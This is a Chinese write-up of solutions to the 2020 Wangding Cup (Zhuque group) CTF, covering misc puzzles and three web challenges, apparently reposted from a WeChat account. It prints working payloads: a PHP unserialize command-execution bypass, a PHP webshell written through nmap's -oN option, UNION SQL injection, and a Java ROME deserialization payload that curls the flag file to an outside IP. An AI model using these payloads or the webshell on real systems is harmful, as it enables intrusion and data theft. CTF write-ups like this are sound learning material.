2020网鼎杯朱雀组部分Web题wp

admin 2022年6月13日11:13:57评论133 views字数 8594阅读28分38秒阅读模式
2020网鼎杯朱雀组部分Web题wp

记录下网鼎杯第三场朱雀组的wp,主要是web。

 

Misc
2020网鼎杯朱雀组部分Web题wp

签到

日常做游戏得到flag

九宫格

打开压缩包 ,得到了好多的二维码

利用工具批量解码:

2020网鼎杯朱雀组部分Web题wp

发现结果都是0或者1

010101010011001001000110011100110110010001000111010101100110101101011000001100010011100101101010010101000110100001111000010101110111000101001011011011010101100101010100010110100101000000110001010110000011010001000001011001100111010101000110010010100010111100110111010001100110110001110001010010010100011000110001010010110100100001010001010101000101001000110101010100110011011000110011011110100100111101101011011110010110111101011000001100110011011001101110010110100110110001100001010011110111000100110100010110000011010001101011011011000111011101010010011101110111000101100001

猜测是二进制 八位一组转字符串

aa = '010101010011001001000110011100110110010001000111010101100110101101011000001100010011100101101010010101000110100001111000010101110111000101001011011011010101100101010100010110100101000000110001010110000011010001000001011001100111010101000110010010100010111100110111010001100110110001110001010010010100011000110001010010110100100001010001010101000101001000110101010100110011011000110011011110100100111101101011011110010110111101011000001100110011011001101110010110100110110001100001010011110111000100110100010110000011010001101011011011000111011101010010011101110111000101100001'
res=''for i in range(0,len(aa),8):    # print aa[i:i+8]    res += chr(int(aa[i:i+8],2))
print res

结果为:
U2FsdGVkX19jThxWqKmYTZP1X4AfuFJ/7FlqIF1KHQTR5S63zOkyoX36nZlaOq4X4klwRwqa

百度一下,发现可是能rabbit加密

根据提示得到密钥为245568

2020网鼎杯朱雀组部分Web题wp

key

修改图片的高度,得到一串神奇的字符串:

2020网鼎杯朱雀组部分Web题wp

295965569a596696995a9aa969996a6a9a669965656969996959669566a5655699669aa5656966a566a56656

不知道有什么用。。。后来听说是 差分曼彻斯特编码

2020网鼎杯朱雀组部分Web题wp

得到密码:Sakura_Love_Strawberry

另一个图片 foremost得到一个压缩包。。

解压就可以得到flag了。。。

 

web
2020网鼎杯朱雀组部分Web题wp

webphp

打开页面发现:

2020网鼎杯朱雀组部分Web题wp

发现没有什么东西,就是一个时间获取的界面。

进行抓包,发现了 可以参数:

2020网鼎杯朱雀组部分Web题wp

感觉是php代码执行…

尝试发现存在waf,过滤了好多危险函数:

exec,shell_exec,system,phpinfo,eval,assert 等等

方法一

忽然发现能够读到源码file_get_contents

2020网鼎杯朱雀组部分Web题wp

index.php

<!DOCTYPE html><html><head>    <title>phpweb</title>    <style type="text/css">        body {            background: url("bg.jpg") no-repeat;            background-size: 100%;        }        p {            color: white;        }</style></head>
<body><script language=javascript>    setTimeout("document.form1.submit()",5000)</script><p>    <?php    $disable_fun = array("exec","shell_exec","system","passthru","proc_open","show_source","phpinfo","popen","dl","eval","proc_terminate","touch","escapeshellcmd","escapeshellarg","assert","substr_replace","call_user_func_array","call_user_func","array_filter", "array_walk",  "array_map","registregister_shutdown_function","register_tick_function","filter_var", "filter_var_array", "uasort", "uksort", "array_reduce","array_walk", "array_walk_recursive","pcntl_exec","fopen","fwrite","file_put_contents");    function gettime($func, $p) {        $result = call_user_func($func, $p);        $a= gettype($result);        if ($a == "string") {            return $result;        } else {return "";}    }    class Test {        var $p = "Y-m-d h:i:s a";        var $func = "date";        function __destruct() {            if ($this->func != "") {                echo gettime($this->func, $this->p);            }        }    }    $func = $_REQUEST["func"];    $p = $_REQUEST["p"];
    if ($func != null) {        $func = strtolower($func);        if (!in_array($func,$disable_fun)) {            echo gettime($func, $p);        }else {            die("Hacker...");        }    }    ?></p><form  id=form1 name=form1 action="index.php" method=post>    <input type=hidden id=func name=func value='date'>    <input type=hidden id=p name=p value='Y-m-d h:i:s a'></body></html>

发现存在一个很强的黑名单,基本上过滤了已知的危险函数。。。

但是这个class有点意思:

function gettime($func, $p) {        $result = call_user_func($func, $p);        $a= gettype($result);        if ($a == "string") {            return $result;        } else {return "";}    }

    class Test {        var $p = "Y-m-d h:i:s a";        var $func = "date";        function __destruct() {            if ($this->func != "") {                echo gettime($this->func, $this->p);            }        }    }

没有对参数进行验证,可以进行绕过,

本地测试:

<?php
function gettime($func, $p) {    $result = call_user_func($func, $p);    $a= gettype($result);    if ($a == "string") {        return $result;    } else {return "";}}
class Test {    var $p = "ls";    var $func = "system";    function __destruct() {        if ($this->func != "") {            echo gettime($this->func, $this->p);        }    }}

$a = new Test();
echo serialize($a); ?>

测试发现可以执行命令:

2020网鼎杯朱雀组部分Web题wp

得到flag:

payload:func=unserialize&p=O:4:"Test":2:{s:1:"p";s:25:"cat $(find / -name flag*)";s:4:"func";s:6:"system";}

2020网鼎杯朱雀组部分Web题wp

方法二

命名空间绕过黑名单:

2020网鼎杯朱雀组部分Web题wp

最终payload:func=system&p=cat $(find / -name flag*)

2020网鼎杯朱雀组部分Web题wp

Nmap

打开页面,发现是一个nmap扫描器:

2020网鼎杯朱雀组部分Web题wp

尝试之后发现能够进行一些扫描并记录扫描结果。

nmap的一些参数的用法参考文章

尝试对扫描结果进行指定文件保存,

输入' -oN aa.txt ',让后访问/aa.txt

# Nmap 6.47 scan initiated Mon May 18 15:58:14 2020 as: nmap -Pn -T4 -F --host-timeout 1000ms -oX xml/05cc1 -oN aa.txt   

于是猜测是否可以写一个木马文件上去,测试发现过滤了php字符串

可以上传<?=eval($_POST[a]);?> 文件名为phtml

payload:' -oN b.phtml <?=eval($_POST[a]);?>'

用蚁剑进行连接,在根目录得到flag

2020网鼎杯朱雀组部分Web题wp

Think_Java

发现给出了一定的源码,打开网站发现是这样的:

2020网鼎杯朱雀组部分Web题wp

反编译得到网站的部分源码:

主要代码:

test.java

package cn.abc.core.controller;
import cn.abc.common.bean.ResponseCode;import cn.abc.common.bean.ResponseResult;import cn.abc.common.security.annotation.Access;import cn.abc.core.sqldict.SqlDict;import io.swagger.annotations.ApiOperation;import java.io.IOException;import java.util.List;import org.springframework.web.bind.annotation.CrossOrigin;import org.springframework.web.bind.annotation.PostMapping;import org.springframework.web.bind.annotation.RequestMapping;import org.springframework.web.bind.annotation.RestController;
@CrossOrigin@RestController@RequestMapping({"/common/test"})public class Test {
   @PostMapping({"/sqlDict"})   @Access   @ApiOperation("为了开发方便对应数据库字典查询")   public ResponseResult sqlDict(String dbName) throws IOException {      List tables = SqlDict.getTableData(dbName, "root", "abc@12345");      return ResponseResult.e(ResponseCode.OK, tables);   }}

sql.java

package cn.abc.core.sqldict;
import cn.abc.core.sqldict.Row;import cn.abc.core.sqldict.Table;import java.sql.Connection;import java.sql.DatabaseMetaData;import java.sql.DriverManager;import java.sql.ResultSet;import java.sql.SQLException;import java.sql.Statement;import java.util.ArrayList;import java.util.List;
public class SqlDict {
   public static Connection getConnection(String dbName, String user, String pass) {      Connection conn = null;
      try {         Class.forName("com.mysql.jdbc.Driver");         if(dbName != null && !dbName.equals("")) {            dbName = "jdbc:mysql://mysqldbserver:3306/" + dbName;         } else {            dbName = "jdbc:mysql://mysqldbserver:3306/myapp";         }
         if(user == null || dbName.equals("")) {            user = "root";         }
         if(pass == null || dbName.equals("")) {            pass = "abc@12345";         }
         conn = DriverManager.getConnection(dbName, user, pass);      } catch (ClassNotFoundException var5) {         var5.printStackTrace();      } catch (SQLException var6) {         var6.printStackTrace();      }
      return conn;   }
   public static List getTableData(String dbName, String user, String pass) {      ArrayList Tables = new ArrayList();      Connection conn = getConnection(dbName, user, pass);      String TableName = "";
      try {         Statement var16 = conn.createStatement();         DatabaseMetaData metaData = conn.getMetaData();         ResultSet tableNames = metaData.getTables((String)null, (String)null, (String)null, new String[]{"TABLE"});
         while(tableNames.next()) {            TableName = tableNames.getString(3);            Table table = new Table();            String sql = "Select TABLE_COMMENT from INFORMATION_SCHEMA.TABLES Where table_schema = '" + dbName + "' and table_name='" + TableName + "';";            ResultSet rs = var16.executeQuery(sql);
            while(rs.next()) {               table.setTableDescribe(rs.getString("TABLE_COMMENT"));            }
            table.setTableName(TableName);            ResultSet data = metaData.getColumns(conn.getCatalog(), (String)null, TableName, "");            ResultSet rs2 = metaData.getPrimaryKeys(conn.getCatalog(), (String)null, TableName);
            String PK;            for(PK = ""; rs2.next(); PK = rs2.getString(4)) {               ;            }
            while(data.next()) {               Row row = new Row(data.getString("COLUMN_NAME"), data.getString("TYPE_NAME"), data.getString("COLUMN_DEF"), data.getString("NULLABLE").equals("1")?"YES":"NO", data.getString("IS_AUTOINCREMENT"), data.getString("REMARKS"), data.getString("COLUMN_NAME").equals(PK)?"true":null, data.getString("COLUMN_SIZE"));               table.list.add(row);            }
            Tables.add(table);         }      } catch (SQLException var161) {         var161.printStackTrace();      }
      return Tables;   }}

阅读完代码之后,发现可能存在sql注入:

test.class中发现,存在路由:/common/test/sqlDict

dbName = "jdbc:mysql://mysqldbserver:3306/" + dbName;

查看了jdbc的参考文档发现这个dbName可以传递参数。dbName后面加上?后面可以加任意参数,也不会影响正常的数据库连接。

这个sql语句 是利用单引号进行拼接:

String sql = "Select TABLE_COMMENT from INFORMATION_SCHEMA.TABLES Where table_schema = '" + dbName + "' and table_name='" + TableName + "';";

这里可以是一个注入点:dbName=myapp?a=1' union select user()--+

2020网鼎杯朱雀组部分Web题wp

发现存在回显:

爆表dbName=myapp?a=1' union SELECT group_concat(table_name) from information_schema.tables where table_schema=database()--+

2020网鼎杯朱雀组部分Web题wp

爆字段名dbName=myapp?a=1' union SELECT group_concat(id,name,pwd) from information_schema.columns where table_name='user'--+

2020网鼎杯朱雀组部分Web题wp

爆数据dbName=myapp?a=1' union SELECT group_concat(id,name,pwd) from user--+

2020网鼎杯朱雀组部分Web题wp

得到了一组账号密码:admin:admin@Rrrr_ctf_asde

没有找到想象中的flag。。。

扫目录发现存在swagger-ui.html文件:

2020网鼎杯朱雀组部分Web题wp

存在其他的功能测试。

有登陆功能,利用刚才爆破得到的账号密码进行登陆:

2020网鼎杯朱雀组部分Web题wp

得到了一个token

Bearer Token(Token 令牌)
定义:为了验证使用者的身份,需要客户端向服务器端提供一个可靠的验证信息,称为Token,这个token通常由Json数据格式组成,通过hash散列算法生成一个字符串,所以称为Json Web Token(Json表示令牌的原始值是一个Json格式的数据,web表示是在互联网传播的,token表示令牌,简称JWT)

在获取当前用户信息的那里需要输入token,应该是利用这个。。

2020网鼎杯朱雀组部分Web题wp

做到这里我就没什么思路了,一个大师傅告诉我,是java反序列化。。。

Bearer 属于jwt的一种,也就是说加密的字符是json数据通过base64加密后得到的。可以测试一下java的反序列化漏洞

用到的工具:Burp Suite的扩展 Java-Deserialization-Scanner安装链接

发现ROME可以成功:

2020网鼎杯朱雀组部分Web题wp

输入 ROME "curl -d@/flag 174.1.96.95:5555" 点击attack,

2020网鼎杯朱雀组部分Web题wp

在服务器监听9999端口 就能接收到flag了

2020网鼎杯朱雀组部分Web题wp

总结
2020网鼎杯朱雀组部分Web题wp

尝试了java反序列化的操作,虽然是利用工具,以后要认真学习一下。。

 

原文始发于微信公众号(白帽子程序员):2020网鼎杯朱雀组部分Web题wp

  • 左青龙
  • 微信扫一扫
  • weinxin
  • 右白虎
  • 微信扫一扫
  • weinxin
admin
  • 本文由 发表于 2022年6月13日11:13:57
  • 转载请保留本文链接(CN-SEC中文网:感谢原作者辛苦付出):
                   2020网鼎杯朱雀组部分Web题wphttps://cn-sec.com/archives/1111652.html

发表评论

匿名网友 填写信息